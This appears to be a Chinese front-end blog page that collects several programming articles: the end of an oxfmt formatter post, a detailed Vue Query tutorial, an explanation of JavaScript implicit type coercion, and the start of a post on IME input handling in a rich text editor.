  • 优势:无需调整现有CI/CD配置,开发者可直接替换Prettier,提升格式化效率。

改进讨论:针对Prettier的优化

oxfmt在少数边缘场景故意偏离Prettier(如特定嵌套结构的换行),以优化可读性,详见GitHub讨论(#14669)。

  • 技术细节:通过Oxc的AST分析,识别冗余换行或不佳的格式化模式,提供更符合人类阅读习惯的输出。
  • 优势:在保持兼容的同时,改进复杂代码的可视化效果,适合大型项目。

灵活换行控制

相比Prettier的固定换行策略,oxfmt提供更细粒度的配置选项:

  • 功能:支持自定义行宽、嵌套深度和语句分组,优化长链调用或对象字面量的格式化。
  • 优势:开发者可根据项目风格(如Vue组件或TypeScript接口)调整格式,减少手动调整。

极致性能:Rust驱动的格式化

oxfmt利用Oxc的Rust编译器,实现超高性能:

  • 速度对比:比Biome快2-3倍,比Prettier快45倍,处理10万行代码仅需秒级。
  • 技术原理:Rust并行解析和最小化AST转换,降低I/O和内存开销。
  • 优势:在monorepo或CI环境中,显著缩短格式化时间,提升开发迭代效率。

其他改动

  • 生态支持:测试覆盖主流框架和工具(如TypeScript-ESLint),确保广泛适用性。
  • 未来计划:即将发布,持续优化边缘场景(如JSX复杂嵌套),进一步提升兼容性。

最后

oxfmt 以 45倍于 Prettier 的速度、灵活换行和无缝兼容性,即将成为下一代格式化工具的标杆。

大家可以关注Oxc项目,抢先测试,优化代码工作流!

今天的分享就这些了,感谢大家的阅读,如果文章中存在错误的地方欢迎指正!

往期精彩推荐

服务器状态管理 Vue Query

服务器状态管理是“把原本只活在远程接口里的数据,当成前端「可缓存、可同步、可复用」的状态来管理”

一、前言

1.1 为什么数据请求是前端的重难点

  • 1、传统做法的痛点

    • 每次组件挂载都 fetch ---> 请求爆炸、loading 闪烁
    • 多个组件需要同一份数据 ---> 层层 props 或全局 store 手动同步,维护困难
    • 多个请求之间有依赖关系,必须在一堆 Promise 链中穿针引线 ---> 并发与依赖请求混乱
    • 离线/弱网、窗口切回、轮询、乐观更新 ---> 逻辑散落在各处,越来越难以维护
  • 2、业务诉求

    • 秒开二次访问
    • 后台静默更新
    • 多端复用,同一数据在列表、详情、弹窗里一致
    • 快速实现分页、无限滚动、乐观更新、错误重试

1.2 状态管理的转折点:从本地到服务器状态

前端的状态(state)有两种:

  • UI 状态:组件的展示状态(是否展开、选中、激活等)
  • 服务器状态:来自后端的数据,比如用户列表、文章详情、分页数据等

以往一直在用 Vuex、Pinia 处理状态,但这类库本质是客户端状态管理工具,而服务器状态有几个根本不同的特性:

  • 它是异步的,无法保证时效性
  • 它会频繁变化,需要不断同步
  • 它有缓存有效期,需要自动过期与刷新
  • 它有可能在多个页面间共享和重复使用

这意味着,传统的 Vuex 根本不适合直接管理服务器状态。于是,服务器状态管理库(SWR、React Query、Vue Query等)诞生。

它们把服务器返回的数据抽象成一层可观察、可缓存、可后台更新的前端状态,提供:

  • 请求去重、内存缓存、TTL失效
  • 聚焦/重连自动刷新
  • 分页、无限加载、乐观更新、错误重试
  • 与框架生命周期深度集成的 Hooks、Composables

1.3 从 SWR 到 React Query,再到 Vue Query

在 React 中,这个问题在几年前就被 SWR、React Query 解决了:

  • SWR(stale-while-revalidate):有 Vercel 团队推出,主打“先显示旧数据,再后台刷新”
  • React Query:有 Tanner Linsley 团队开发,后来升级为 @tanstack/query 系列,成为事实标准

Vue 社区也迎来了自己的版本:@tanstack/vue-query,它是 Vue 生态下的 React Query 实现,有官方团队维护,与 React Query 同步核心逻辑。

Vue Query 自动帮你实现:

  • 管理请求状态
  • 缓存结果
  • 处理并发
  • 自动刷新
  • 错误重试
  • 后台数据同步

也因此不用在手动维护 loading,不用写 retry,不用写缓存逻辑

二、核心概念 —— Query、Mutation、Cache

Vue Query的哲学非常清晰:所有从服务器拉取的数据,都是一个有生命周期的查询

每一个查询都经历类似这样的生命周期:

idle → loading → success (data cached) → stale → refetch → fresh
阶段 含义
idle 查询还未开始,或组件尚未挂载。
loading 正在发送请求,等待响应。
success 请求成功,数据已返回并缓存起来,供后续使用。
stale 数据仍在缓存中,但已被标记为“过时”,不会立即重新请求
refetch 当满足某些条件(如窗口聚焦、组件重新挂载)时,自动重新发起请求
fresh 新数据返回,缓存更新,数据重新变为“新鲜”状态。

框架通过内部状态机精细地管理每一个阶段,从而实现

  • 数据缓存
  • 状态跟踪
  • 自动刷新
  • 错误重试
  • 跨组件共享

2.1 查询 Query

在 Vue query 中,任何一个接口请求,都对应一个 Query 实例,通过 useQuery() 创建

const { data: productsData, isLoading: loading, error, refetch: fetchProducts } = useQuery({
  queryKey: ['products', limit],
  queryFn: async () => {
    const response = await fetch(`https://dummyjson.com/products?limit=${limit.value}`)
    
    if (!response.ok) {
      throw new Error(`HTTP 错误!状态: ${response.status}`)
    }
    
    return response.json()
  },
  // 可选配置
  enabled: true, // 默认启用自动查询
  refetchOnWindowFocus: false, // 窗口聚焦时不重新查询
  staleTime: 5 * 60 * 1000, // 5分钟内数据被认为是新鲜的
})

2.1.1 两个核心参数
  • queryKey:查询的唯一标识,变化即重新执行查询

    • 决定了缓存的共享和命中
    • 相同的 querykey 会共用缓存
    • 通常为数组,可包含参数
['products', limit]
['posts', { page: 1 }]
  • queryFn:真正执行请求的函数

    • 必须返回一个 Promise
    • 会自动处理它的状态、错误与缓存
queryFn: async () => {
  const res = await axios.get(`/api/user/${userId}`)
  return res.data
}

2.1.2 其他的可选参数
参数名 类型 默认值 作用速记
enabled boolean true false 可“手动开关”查询,常用于依赖其它数据就绪时再发请求。
staleTime number (ms) 0 数据“保鲜期”。期间再次访问直接读缓存,不重新请求。
gcTime (旧称 cacheTime) number (ms) 5 min 缓存垃圾回收时间;组件卸载后若在这段时间内无订阅就清除缓存。
retry boolean │ number │ (failCount, error) => boolean 3 请求失败时的重试次数或自定义策略。
refetchOnWindowFocus boolean true 窗口重新聚焦时是否自动重新拉取(过期的)数据。
refetchOnReconnect boolean true 网络恢复后是否重新拉取。仅限过期了的数据
refetchOnMount boolean │ "always" true 组件重新挂载时是否重新拉取;"always" 不管是否过期都拉。
initialData T │ () => T - 给查询提供初始值,会立即进入 success 状态,不再 loading
placeholderData T │ () => T - 类似“骨架数据”,只填充一次,不会写入缓存;适合列表页快速渲染。
select data => derived - 对返回数据做“转换/派生”,可减少不必要的重渲染。
refetchInterval number │ false false 定时轮询间隔(毫秒)。
keepPreviousData boolean false 切页时保留上一笔数据,解决“闪白”问题。

2.1.3 Query 的状态机

内部每一条 Query 维护一个有限状态机 FSM,用来精确描述一条查询从“无数据”到“有数据”再到“失效、重新获取”的完整生命周期

状态机只包含 5 个核心状态

状态值 含义 触发时机
pending 首次查询中,尚无缓存数据 组件首次挂载、queryKey 变化且没有 initialData
loading 有缓存数据但正在重新请求 后台 refetch、窗口聚焦、人工 refetch
success 最近一次请求成功,数据可用 fetch 成功且未抛出异常
error 最近一次请求失败 fetch 抛出异常且重试策略已耗尽
idle 查询被禁用(enabled: false)且从未运行过 初始即禁用,或手动设为禁用

2.1.4 useQuery() 返回对象
  • 返回一个 Reactive 对象,可直接解构使用,以下是常用参数
名称 类型 一句话说明
data Ref<T | undefined> 查询成功后的数据;没成功就是 undefined
error Ref<Error | null> 请求失败时的错误对象。
isPending computed<boolean> 首次加载中(无缓存)。
isLoading computed<boolean> 后台重新加载中(有缓存)。
isError computed<boolean> 是否处于错误状态。
isSuccess computed<boolean> 是否已成功拿到数据。
isFetching computed<boolean> 只要正在发请求(含轮询/后台)就为 true
isRefetching computed<boolean> 后台刷新且不是首次(isFetching && !isPending)。
status Ref<'pending'|'loading'|'success'|'error'|'idle'> 当前状态机值。

其他不常用的还有 dataUpdatedAt、errorUpdatedAt、failureCount 等等

2.2 变异 Mutation

如果说 Query 代表读取数据,那么 Mutation 就代表修改数据(POST、PUT、DELETE),并在成功后更新本地缓存

Vue Query 通过 useMutation() 提供一种声明式写法,有以下特点:

  • 手动触发:不像查询那样自动执行,需要手动调用(如点击按钮)
  • 乐观更新:可以在请求发送前更新 UI,失败后再回滚
  • 自动失效:成功后可以自动让相关查询失效,触发重新获取
  • 内置错误回滚机制
useMutation({
  mutationFn,          // 唯一必填:真正发请求的函数 (vars) => Promise
  onMutate,            // 请求前同步调用,做乐观更新 / 快照
  onError,             // 请求失败调用,可回滚
  onSuccess,           // 请求成功调用,可刷新列表
  onSettled,           // 无论成功失败都会调用
  retry,               // 失败重试次数,默认 3
  retryDelay,          // 重试间隔,默认指数退避
  gcTime,              // 缓存时间,默认 5 min(Vue Query 5 里 cacheTime 改名 gcTime)
  networkMode,         // 'online' | 'always' | 'offlineFirst'
})

4个核心回调的触发顺序

  1. onMutate(variables)网络请求前 同步执行; 返回的任何值都会塞进 context,供后续 onError、onSuccess 回滚用
  2. 请求真正发出 → 成功或失败
  3. onSuccess(data, variables, context) 请求成功后调用;context 就是 onMutate 返回的对象。一般在这里 invalidateQueries 让列表重新拉取
  4. onError(error, variables, context) 请求失败后调用;利用 context 回滚乐观更新
  5. onSettled(data | null, error, variables, context) 无论成功失败都会执行;适合做清理工作

useMutation 返回的是一个 组合式对象(Composition API 风格),里面包含 运行时状态 + 手动触发器 + 辅助方法

const {
  // 1. 触发器(唯一必须掌握的)
  mutate,          // (variables, options?) => void   异步触发,不返回 Promise
  mutateAsync,     // (variables, options?) => Promise<T>  可以 await,需自己 catch

  // 2. 运行时状态(全是 Ref,需 .value 访问)
  data,            // T | undefined      成功后的返回值
  error,           // Error | null       失败后的错误
  failureReason,   // Error | null       Vue Query 5 新名字,同 error
  failureCount,    // number             已经重试的次数
  isIdle,          // boolean            尚未开始
  isPending,       // boolean            正在请求(含重试)
  isLoading,       // boolean            同 isPending(兼容旧名)
  isSuccess,       // boolean            已成功
  isError,         // boolean            已失败
  status,          // 'idle' | 'pending' | 'success' | 'error'
  submittedAt,     // Date | undefined   最近一次点击 mutate 的时刻
  reset,           // () => void         一键回到 idle 状态,清空 data/error

  // 3. 辅助方法(很少手动调)
  context,         // any                onMutate 返回的现场快照
  variables,       // unknown            最近一次调用 mutate 时传的参数
} = useMutation(mutationFn, options?)

2.3 缓存 Cache

缓存是用于存储查询结果,避免重复请求,提高性能

特点:

  • 基于 queryKey 缓存:每个查询通过 queryKey 唯一标识,相同 key 的查询共享缓存
  • 自动失效与刷新:可以设置缓存时间(sraleTime、cacheTime),过期后自动标记为“过时”,下次使用时重新获取
  • 手动操作缓存:可以手动设置、更新或删除缓存数据
queryClient.setQueryData(['todos'], newTodos)
queryClient.invalidateQueries(['todos'])

2.3.1 QueryClient

QueryClient 是 Vue Query 的大脑,是一个全局单例对象,负责:

  1. 管理所有缓存(QueryCache + MutationCache
  2. 提供对缓存的增删改查API(getQueryData / setQueryData / invalidateQueries …)
  3. 调度后台请求、重试、失效、垃圾回收
  4. 最为依赖注入的key,让 useQuery / useMutation 能拿到同一份缓存实例

全局创建

import { QueryClient } from '@tanstack/vue-query'

// ① 创建大脑
export const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      staleTime: 0,      // 默认新鲜时间
      gcTime: 1000 * 60 * 5, // 垃圾回收时间
      retry: 3,
    },
  },
})

// ② 挂载到 Vue
app.use(VueQueryPlugin, { queryClient })

// ③ 组件里使用
const { data } = useQuery({ queryKey: ['todos'], queryFn: fetchTodos })

也可以在组件内创建

import { useQueryClient } from '@tanstack/vue-query'
const queryClient = useQueryClient();

常用 API

queryClient.getQueryData(['user', 1])            // 读
queryClient.setQueryData(['user', 1], newData)   // 写
queryClient.invalidateQueries(['todos'])         // 标过期
queryClient.resetQueries(['todos'])              // 清空并重新拉
queryClient.removeQueries(['todos'])             // 直接删除
queryClient.prefetchQuery({ queryKey, queryFn }) // 提前拉
queryClient.cancelQueries(['todos'])             // 取消进行中的请求

2.3.2 setQueryData

作用是直接把数据写进缓存,不触发网络请求

queryClient.setQueryData(['todos'], newTodos) 是把 newTodos 写进 key 为 ['todos'] 的缓存项里,假装服务器已经返回了这份数据,所有正在使用 useQuery(['todos']) 的组件会立刻渲染这份新数据,而不会再去请求后端

典型场景:

  • 乐观更新
  • 服务端时间推送(websocket、sse)
  • 分页预加载:先把下一页数据塞进缓存,用户翻页时秒出
// 新增一条 todo 后,把新列表直接写进缓存
const addTodo = async (title: string) => {
  await api.createTodo(title)          // 先写库
  const old = queryClient.getQueryData(['todos'])
  queryClient.setQueryData(['todos'], (old) => [...old, { id: Date.now(), title }])
}

2.3.3 invalidateQueries

作用是把缓存标记为“过期”,立即触发后台重新取数(如果当前组件有在使用)

queryClient.invalidateQueries(['todos']) 把 key 为 ['todos'] 的缓存项标记为 stale(过期)。如果当前有组件 useQuery(['todos'], ...) 处于 mounted 状态,会立即触发一次后台 refetch

典型场景:

  • 写操作成功后,让列表刷新到最新状态(最常用)
  • 跨路由 / 跨组件“通知”数据已失效
const mutation = useMutation({
  mutationFn: api.createTodo,
  onSuccess: () => {
    // 告诉 vue-query:列表脏了,重新拉一次
    queryClient.invalidateQueries(['todos'])
  },
})

invalidateQueries(['todos']) 采用 “前缀匹配” 策略,例如

useQuery({ queryKey: ['todos', { filter: 'completed' }] })
useQuery({ queryKey: ['todos', { filter: 'all' }] })

// 当你调用
queryClient.invalidateQueries(['todos'])

会让所有 key 以 ['todos'] 开头的查询全部刷新

只想让其中一条失效,怎么做? 把 queryKey 写全,并加上 exact: true(告诉 Vue Query 必须完全相等

// 只失效 “已完成” 列表
queryClient.invalidateQueries({
  queryKey: ['todos', { filter: 'completed' }],
  exact: true,          // 关键:关闭前缀匹配
})

// 若还想立即重新请求(不等组件挂载)
queryClient.invalidateQueries({
  queryKey: ['todos', { filter: 'completed' }],
  exact: true,
  refetchType: 'active', // 或 'active'|'inactive'|'all' 按需要选
})

2.3.4 二者组合套路(乐观更新+回滚)
import { useMutation, useQueryClient } from '@tanstack/vue-query';

// 获取 queryClient 实例
const queryClient = useQueryClient();

const addTodo = useMutation({
  mutationFn: api.createTodo,
  onMutate: async (title) => {
    await queryClient.cancelQueries(['todos'])               // 1. 取消正在进行的请求
    const prev = queryClient.getQueryData(['todos'])         // 2. 快照旧数据
    queryClient.setQueryData(['todos'], old => [...old, { id: Date.now(), title }])
    return { prev }                                          // 3. 返回回滚数据
  },
  onError: (err, vars, context) => {
    queryClient.setQueryData(['todos'], context.prev)        // 4. 出错回滚
  },
  onSettled: () => {
    queryClient.invalidateQueries(['todos'])                 // 5. 最终一致性
  },
})

2.4 Query Observer:驱动视图更新的中间层

Vue Query 内部有一个非常关键的角色 —— QueryObserver。它负责:

  • 监听 Query 的状态变化
  • 把变化推送给使用它的组件
  • 触发 Vue 的响应式更新

当多个组件使用相同 queryKey 时,它们共享同一个 Query,但各自拥有自己的 Observer。
这样既能共享缓存,又不会相互干扰

2.5 Vue Query 的数据流概览

组件 useQuery()
      ↓
创建 QueryObserver
      ↓
注册到 QueryClient
      ↓
检测 QueryCache 是否命中
      ↓
  - 命中缓存 → 返回缓存数据
  - 未命中 → 执行 queryFn
      ↓
Query 更新状态 (loading → success/error)
      ↓
Observer 通知组件更新视图
      ↓
缓存进入生命周期管理(stale、inactive、GC

三、其他实战使用

3.1 依赖请求

  • 当 user 数据还没加载时,posts 请求不会执行
const userId = ref(1)

const { data: firstData } = useQuery({
  queryKey: ['user', userId],
  queryFn: () => fetchUser(userId.value),
})

const postsQuery = useQuery({
  queryKey: ['posts', firstData?.id],
  queryFn: () => fetchPostsByUser(firstData.id),
  enabled: computed(() => !!userQuery.data), // 配置启动查询条件
})

3.2 预取数据(Prefetch)

  • Vue Query 可以在页面跳转前提前请求数据,提高首屏性能。在路由守卫中使用效果极佳
queryClient.prefetchQuery({
  queryKey: ['user', id],
  queryFn: () => getUser(id),
})

3.3 缓存持久化(Persist Query)

  • 配合 @tanstack/query-persist-client 可以持久化缓存至 localStorage
npm i @tanstack/query-sync-storage-persister @tanstack/query-persist-client-core
import { useQueryClient } from '@tanstack/vue-query'
import { createSyncStoragePersister } from '@tanstack/query-sync-storage-persister'
import { persistQueryClient } from '@tanstack/query-persist-client-core'

const queryClient = useQueryClient();

const localStoragePersister = createSyncStoragePersister({
  storage: window.localStorage,      // 也可换成 IndexedDB 或自定义 storage
  key: 'REACT_QUERY_OFFLINE_CACHE',  // 本地存储的 key
  throttleTime: 1000,                // 写盘节流,默认 1 s
})
// 核心:把 queryClient 和 persister 绑定
persistQueryClient({
  queryClient,
  persister: localStoragePersister,
  maxAge: 1000 * 60 * 1, // 24 h 后恢复的数据视为过期,不再使用
})
  • 这样即使刷新页面,缓存仍可复用

3.4 Devtools 调试

npm install @tanstack/vue-query-devtools
import { VueQueryDevtools } from '@tanstack/vue-query-devtools'
app.use(VueQueryDevtools)
  • 然后在组件中引入
<script setup>
import { VueQueryDevtools } from '@tanstack/vue-query-devtools'
</script>

<template>
  <div>
    <!-- 你的应用其他内容 -->
    <RouterView />
    <!-- Vue Query Devtools -->
    <VueQueryDevtools />
  </div>
</template>
  • 在浏览器面板即可查看缓存、状态、依赖等,非常直观

四、源码架构与内部机制

@tanstack/vue-query 的核心并非从零编写, 而是直接基于 TanStack Query 的跨框架内核实现(即 React Query v5 的通用内核)

Vue Query ≈ React Query 的内核 + Vue 的响应式封装层。

image.png

也就是说:

  • 所有的 状态管理、缓存、调度、生命周期逻辑 都在 @tanstack/query-core
  • Vue 层只是负责把 QueryObserver 的回调,转化为 Vue 的响应式数据

4.1 useQuery() 实现

useQuery 的实现采用了分层架构设计:

useQuery (入口层)
    ↓
useBaseQuery (核心逻辑层)
    ↓
QueryObserver (@tanstack/query-core)
4.1.1 入口层:useQuery.ts

image.png

  • queryClient 这个参数是可选的,即当不想用全局的 QueryClient 是,可手动传一个实例进来。一般用于多 QueryClient 实例(微前端、服务端渲染隔离、测试用例)
  • useQuery 简单的将参数传递给 useBaseQuery,传入 QueryObserver 作为观察者类型
4.1.1 核心层:useBaseQuery.ts

这个文件是 Vue Query 的核心适配器,负责将 @tanstack/query-core 的功能桥接到 Vue 的响应式系统

核心只做了四件事

  1. 拿到全局 QueryClient(或手动传入)
  2. 创建/复用 QueryObserver 实例
  3. 把 observer 的“快照”包成 Vue 响应式对象reactive + computed
  4. 在组件生命周期内自动订阅 & 取消订阅,保证数据变化驱动视图更新,且不会内存泄漏
  • 入参规整 & client 解析
export function useBaseQuery(
  Observer: typeof QueryObserver,   // 传入 QueryObserver 类
  options: UseQueryOptions,
  queryClient?: QueryClient,
) {
  // ① 解析实例:优先用参数传入的,其次 inject 全局
  const client = queryClient ?? inject(QueryClientKey) as QueryClient
  // ② 把可能传入的 ref/computed 展开成“值”
  const defaultedOptions = client.defaultQueryOptions(options)
  defaultedOptions._optimisticResults = 'default'
}
  • 创建 Observer & 响应式状态容器
  // ③ 创建观察者(每个组件实例一个)
  const observer = new Observer(client, defaultedOptions)

  // ④ 把 observer.getCurrentResult() 变成 Vue 响应式
  const state = reactive(observer.getCurrentResult())

  // ⑤ 比较函数:observer 通知时,只把“变化的字段”合并,减少触发
  const updateState = (newResult: QueryObserverResult) => {
    for (const key in newResult) {
      if (state[key] !== newResult[key]) {
        state[key] = newResult[key]
      }
    }
  }
  • 订阅 & 生命周期绑定
  // ⑥ 立即订阅,回调里只做“合并差异”
  let unsubscribe = observer.subscribe(updateState)

  // ⑦ 组件卸载时自动取消订阅,防止内存泄漏
  onScopeDispose(() => unsubscribe())

  // ⑧ 响应式 key 变化 → 重新计算 options → observer.setOptions
  watch(
    () => getQueryKey(defaultedOptions.queryKey), // 可能 ref 依赖
    () => observer.setOptions(client.defaultQueryOptions(options)),
    { flush: 'sync' }, // 同步触发,保证 suspense 正确
  )
  • 返回“Vue 风格”对象
 // ⑨ 把 state 展开成大量 computed,保持只读
  return toRefs(state) as UseQueryReturnType<TData, TError>
}

面试官:[1] == '1'和[1] == 1结果是什么?

1.前言

console.log([1] == 1);          // true 
console.log([1] == '1');        // true 

小伙们,蒙对了么?是不是脑袋里面一个大大的问号。

2.什么是隐式类型转换

上面的面试题虽然简简单单两行,包含的知识点其实就是我们前端程序员都熟悉的隐式类型转换

隐式类型转换是指编译器自动完成类型转换的方式,总是期望转成基本类型的值

3.触发隐式类型转换的场景

  • 算术运算符(+-*/%)
  • 关系运算符<、>、 <=、 >= 、== 、!=等
  • 逻辑运算符!、&&、||
  • 条件语句if、while、三目运算符
  • 属性键遍历,比如for...in
  • 模板字符串${}

今天重点说一下双等号的基础类型的隐式转换,和对象类型的隐式转换

4.基础类型的隐式转换

4.1 ==比较基础类型的隐式转换

image.png


// null 和 undefined
console.log(null == undefined);  // true
console.log(null == 0);         // false
console.log(undefined == '');    // false

// 数字 vs 字符串
console.log(0 == '');           // true ('' → 0)
console.log(1 == '1');          // true ('1' → 1)
console.log(1 == '1.0');        // true
console.log(1 == '1abc');       // false ('1abc' → NaN)

// 布尔值 vs 其他
console.log(true == 1);         // true (true → 1)
console.log(false == 0);        // true (false → 0)
console.log(true == '1');       // true (true→1, '1'→1)
console.log(false == '');       // true (false→0, ''→0)

// 特殊情况
console.log(NaN == NaN);        // false
console.log([] == ![]);         // true (![] → false → 0, [] → '' → 0)

其他能够引发基础类型的隐式转换的场景还有很多,后面继续补充

5. 对象隐式转换规则

对象隐式转换主要三要素: Symbol.toPrimitiveObject.prototype.valueOf()Object.prototype.toString()

  1. 如果对象定义了Symbol.toPrimitive方法,那会优先调用,无视valueOf()和toString()方法
  2. 如果对象未定义Symbol.toPrimitive方法,那会根据期望的基本类型进行隐式转换,如果期望类型是string,就会先调用obj.toString(),如果没有得到原始值,则继续调用obj.valueOf()方法,返回原始值
  3. 如果对象未定义Symbol.toPrimitive方法,那会根据期望的基本类型进行隐式转换,如果期望类型是number,就会先调用obj.valueOf(),如果没有得到原始值,则继续调用obj.toString()方法,返回原始值
  4. 如果对象未定义Symbol.toPrimitive方法,期望值是基础类型(比如:string),同时toString()和valueOf都没有返回原始值,会直接报错
const obj = {
    age: 10,
    valueOf() {
        return this
    },
    toString() {
        return this
    }
}
console.log(obj + '') //Cannot convert object to primitive value

5.1 Symbol.toPrimitive

The Symbol.toPrimitive well-known symbol specifies a method that accepts a preferred type and returns a primitive representation of an object. It is called in priority by all type coercion algorithms.-来自MDN

理解:Symbol.toPrimitive是可以接受编译器指定的期望基本类型并返回对象原始值的方法。在转换基本类型过程中,总是被优先调用。

Symbol.toPrimitive有一个参数hint,hint在规范协议里面默认是'default',有三个可选值:'string'、'number'、'default'。hint会根据期望值去选定参数

5.1.1 触发hint是string的情况

  • window.alert(obj)
  • 模板字符串:${obj}
  • 成为的对象属性:test[obj] = obj1
const obj = {
    [Symbol.toPrimitive](hint){
        if(hint === 'number') {
            return 10
        } else if(hint === 'string') {
            return 'hello'
        }
        return true
    }
}
window.alert(obj) // hello
console.log(`${obj}`) // hello
obj[obj] = 1
console.log(Object.keys(obj)) //['hello']

5.1.2 触发hint是number的情况

  • 一元+、位移运算
  • -减法、*乘法、/除法、关系运算符(<、>、 <=、 >= 、== 、!=)
  • Math.pow、String.prototype.slice等内部方法
const obj = {
    [Symbol.toPrimitive](hint){
        if(hint === 'number') {
            return 10
        } else if(hint === 'string') {
            return 'hello'
        }
        return true
    }
}
console.log('一元+:',+obj) //一元+: 10
console.log('位移:',obj >> 0) //位移: 10

console.log('减法:',5-obj) //减法: -5
console.log('乘法:',5*obj) //乘法: 50
console.log('除法:',5/obj) //除法: 0.5

console.log('大于:',5>obj) //大于: false
console.log('大于等于:',5>=obj) //大于等于: false

console.log('Math.pow:',Math.pow(2,obj)) //Math.pow: 1024
console.log('内部方法:','abcdefghijklmnopq'.slice(0,obj)) //内部方法: abcdefghij

5.1.3 触发hint是default的情况

  • 二元+
  • ==、!=
const obj = {
    [Symbol.toPrimitive](hint){
        if(hint === 'number') {
            return 10
        } else if(hint === 'string') {
            return 'hello'
        }
        return true
    }
}
console.log(5 + obj) //6
console.log(5 == obj) //false
console.log(0 != obj) // true

首先会返回default时候的原始值,若没有再默认调用vlaueOf(除了Date对象)

const obj = {
    [Symbol.toPrimitive](hint){
        if(hint === 'number') {
            return 10
        } else if(hint === 'string') {
            return 'hello'
        }
        // return true
    }
}
console.log(obj.valueOf()) //NaN
console.log(1+obj) //NaN

5.2 Object.prototype.valueOf

在未定义Symbol.toPrimitive方法时候,期望类型是number,所以会直接执行valueOf()方法

const obj = {
    age: 10,
    name: '小明',
    toString() {
        return this.name
    },
    valueOf() {
        return this.age
    }
}
console.log(+obj) // 10

若是定义的valueOf方法返回的不是原始值,会继续执行toString方法

const obj = {
    age: 10,
    name: '小明',
    toString() {
        return this.name
    },
    valueOf() {
        return this
    }
}
console.log(+obj) // NaN

5.3 Object.prototype.toString

在未定义Symbol.toPrimitive方法时候,期望类型是string,所以会直接执行toString()方法

const obj = {
    age: 10,
    name: '小明',
    toString() {
        return this.name
    },
    valueOf() {
        return this.age
    }
}
console.log(`${obj}`) // 小明
obj[obj] = 1
console.log(Object.keys(obj)) //[ 'age', 'name', 'toString', 'valueOf', '小明' ]

若是定义的toString方法返回的不是原始值,会继续执行valueOf方法

const obj = {
    age: 10,
    name: '小明',
    toString() {
        return this
    },
    valueOf() {
        return this.age
    }
}
console.log(`${obj}`) // 10

若是没有定义toString方法,会继续执行原型上的toString的方法返回原始值

const obj = {
    age: 10,
    name: '小明',
    // toString() {
    //     return this.name
    // },
    valueOf() {
        return this.age
    }
}
console.log(`${obj}`) // [object Object]
//如果将原型上的toString重置,就会去执行valueOf方法
Object.prototype.toString = undefined
console.log(`${obj}`) // 10

6. 特殊对象Date

hint是default的时候,会优先调用toString,,然后在调用valueOf。

hint已经表明期望值是string或者number的时候,还是按照期望的进行转换

const date = new Date()
console.log('date:toString',`${date}`) //date:toString Mon Dec 05 2022 21:53:18 GMT+0800 (中国标准时间)
console.log('date:valueOf',+date) //date:valueOf 1670248398283

console.log('date:default',date + 1) //date:default Mon Dec 05 2022 21:53:18 GMT+0800 (中国标准时间)1

7. 总结

看完文章知道这个面试题的原因了么?

console.log([1] == 1);          // true [1] -> '1' -> 1
console.log([1] == '1');        // true [1] -> '1'
  • console.log([1] == 1)
    1. 触发对象隐式类型转换的期望值是 number,但是数组继承了 Object.prototype.valueOf 的默认行为,是返回对象本身
    2. 上一步结果不是原始值会继续调用 toString方法,从 [1] 得到字符串类型 '1'
    3. 基础类型的隐式转换,数字与字符串类型进行比较,则字符串类型转数字,从 '1' 转成 数字类型 1
    4. 最后类型相同值相同 1 == 1 ,返回为 true
  • console.log([1] == '1')
    1. 触发对象隐式类型转换的期望值是 number,但是数组继承了 Object.prototype.valueOf 的默认行为,是返回对象本身
    2. 上一步结果不是原始值会继续调用 toString方法,从 [1] 得到字符串类型 '1'
    3. 基础类型的隐式转换,字符串与字符串类型进行比较,类型相同值相同 '1' == '1' ,返回为 true

从零实现富文本编辑器#8-浏览器输入模式的非受控DOM行为

浏览器输入模式的非受控DOM行为

先前我们在选区模块的基础上,通过浏览器的组合事件来实现半受控的输入模式,这是状态同步的重要实现之一。在这里我们要关注于处理浏览器复杂DOM结构默认行为,以及兼容IME输入法的各种输入场景,相当于我们来Case By Case地处理输入法和浏览器兼容的行为。

从零实现富文本编辑器项目的相关文章:

概述

在整个编辑器系列最开始的时候,我们就提到了ContentEditable的可控性以及浏览器兼容性问题,特别是结合了React作为视图层的模式下,状态管理以及DOM的行为将变得更不可控,这里回顾一下常见的浏览器的兼容性问题:

  • 在空contenteditable编辑器的情况下,直接按下回车键,在Chrome中的表现是会插入<div><br></div>,而在FireFox(<60)中的表现是会插入<br>IE中的表现是会插入<p><br></p>
  • 在有文本的编辑器中,如果在文本中间插入回车例如123|123,在Chrome中的表现内容是123<div>123</div>,而在FireFox中的表现则是会将内容格式化为<div>123</div><div>123</div>
  • 同样在有文本的编辑器中,如果在文本中间插入回车后再删除回车,例如123|123->123123,在Chrome中的表现内容会恢复原本的123123,而在FireFox中的表现则是会变为<div>123123</div>
  • 在同时存在两行文本的时候,如果同时选中两行内容再执行("formatBlock", false, "P")命令,在Chrome中的表现是会将两行内容包裹在同个<p>中,而在FireFox中的表现则是会将两行内容分别包裹<p>标签。
  • ...

由于我们的编辑器输入是依靠浏览器提供的组合事件,自然无法规避相关问题。编辑器设计的视图结构是需要严格控制的,这样我们才能根据一定的规则实现视图与选区模式的同步。依照整体MVC架构的设计,当前编辑器的视图结构设计如下:

<div data-block="true" >
  <div data-node="true">
    <span data-leaf="true"><span data-string="true">inline</span></span>
    <span data-leaf="true"><span data-string="true">inline2</span></span>
  </div>
</div>

那么如果在ContentEdiable输入时导致上述的结构被破坏,我们设计的编辑器同步模式便会出现问题。因此为了解决类似的问题,我们就需要实现脏DOM检查,若是出现破坏性的节点结构,就需要尝试修复DOM结构,甚至需要调度React来重新渲染严格的视图结构。

然而,如果每次输入或者选区变化等时机都进行DOM检查和修复,势必会影响编辑器整体性能或者输入流畅性,并且DOM检查和修复的范围也需要进行限制,否则同样影响性能。因此在这里我们需要对浏览器的输入模式进行归类,针对不同的类型进行不同的DOM检查和修复模式。

行内节点

DOM结构与Model结构的同步在非受控的React组件中变得复杂,这其实也就是部分编辑器选择自绘选区的原因之一,可以以此避免非受控问题。那么非受控的行为造成的主要问题可以比较容易地复现出来,假设此时存在两个节点,分别是inline类型和text类型的文本节点:

inline|text

此时我们的光标在inline后,假设schema中定义的inline规则是不会继承前个节点的格式,那么接下来如果我们输入内容例如1,此时文本就变成了inline|1text。这个操作是符合直觉的,然而当我们在上述的位置唤醒IME输入中文内容时,这里的文本就变成了错误的内容。

inline中文|中文text

这里的差异可以比较容易地看出来,如果是输入的英文或者数字,即不需要唤醒IME的受控输入模式,1这个字符是会添加到text文本节点前。而唤醒IME输入法的非受控输入模式,则会导致输入的内容不仅出现在text前,而且还会出现在inline节点的后面,这部分显然是有问题的。

